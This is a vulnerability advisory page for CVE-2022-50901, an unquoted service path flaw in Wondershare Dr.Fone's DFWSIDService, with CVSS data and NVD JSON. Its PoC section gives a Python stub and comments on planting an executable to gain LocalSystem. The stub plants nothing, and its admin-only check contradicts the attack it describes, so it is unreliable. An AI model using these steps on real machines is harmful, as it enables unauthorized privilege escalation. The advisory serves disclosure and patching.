Security Vulnerability Report
中文
CVE-2022-50901 CVSS 8.4 HIGH

CVE-2022-50901

Published: 2026-01-13 23:15:52
Last Modified: 2026-01-28 19:54:01

Description

Wondershare Dr.Fone 11.4.9 contains an unquoted service path vulnerability in the DFWSIDService that allows local users to potentially execute arbitrary code. Attackers can exploit the unquoted path in C:\Program Files (x86)\Wondershare\Wondershare Dr.Fone\ to inject malicious executables that would run with LocalSystem privileges.

CVSS Details

CVSS Score
8.4
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:wondershare:dr.fone:11.4.9:*:*:*:*:*:*:* - VULNERABLE
Wondershare Dr.Fone < 11.4.9
Wondershare Dr.Fone 11.4.9

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2022-50901 PoC - Unquoted Service Path Exploitation # Target: Wondershare Dr.Fone DFWSIDService # Severity: HIGH (CVSS 8.4) import os import sys import shutil import ctypes def check_vulnerability(): """Check if target service exists and is vulnerable""" service_path = r'C:\Program Files (x86)\Wondershare\Wondershare Dr.Fone\DFWSIDService.exe' if os.path.exists(service_path): print(f"[+] Service executable found: {service_path}") print("[+] Target is potentially vulnerable to unquoted service path") return True else: print("[-] Service not found or already patched") return False def create_malicious_executable(): """Generate malicious executable to be placed at unquoted path""" # This would be the actual malicious payload in a real attack malicious_path = r'C:\Program Files (x86)\Wondershare\Wondershare.exe' # In production, this would be actual shellcode/malware print(f"[*] Malicious executable would be placed at: {malicious_path}") print("[*] When DFWSIDService starts, it will execute this file with SYSTEM privileges") def main(): print("=" * 60) print("CVE-2022-50901 - Wondershare Dr.Fone Unquoted Service Path") print("=" * 60) if ctypes.windll.shell32.IsUserAnAdmin(): print("[+] Running with administrator privileges") check_vulnerability() create_malicious_executable() else: print("[-] Administrator privileges required") sys.exit(1) if __name__ == "__main__": main() # Exploitation steps: # 1. Place malicious executable at C:\Program Files (x86)\Wondershare\Wondershare.exe # 2. Wait for service restart or trigger DFWSIDService restart # 3. Malicious code executes with LocalSystem privileges

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2022-50901", "sourceIdentifier": "[email protected]", "published": "2026-01-13T23:15:52.363", "lastModified": "2026-01-28T19:54:00.940", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Wondershare Dr.Fone 11.4.9 contains an unquoted service path vulnerability in the DFWSIDService that allows local users to potentially execute arbitrary code. Attackers can exploit the unquoted path in C:\\Program Files (x86)\\Wondershare\\Wondershare Dr.Fone\\ to inject malicious executables that would run with LocalSystem privileges."}, {"lang": "es", "value": "Wondershare Dr.Fone 11.4.9 contiene una vulnerabilidad de ruta de servicio sin comillas en el servicio DFWSIDService que permite a los usuarios locales ejecutar potencialmente código arbitrario. Los atacantes pueden explotar la ruta sin comillas en C:\\Program Files (x86)\\Wondershare\\Wondershare Dr.Fone\\ para inyectar ejecutables maliciosos que se ejecutarían con privilegios de LocalSystem."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-428"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wondershare:dr.fone:11.4.9:*:*:*:*:*:*:*", "matchCriteriaId": "C91B0524-33F7-4786-B0AD-321EE3ADCCE4"}]}]}], "references": [{"url": "https://www.exploit-db.com/exploits/50755", "source": "[email protected]", "tags": ["Exploit"]}, {"url": "https://www.vulncheck.com/advisories/wondershare-drfone-dfwsidservice-unquoted-service-path", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.wondershare.com/", "source": "[email protected]", "tags": ["Product"]}]}}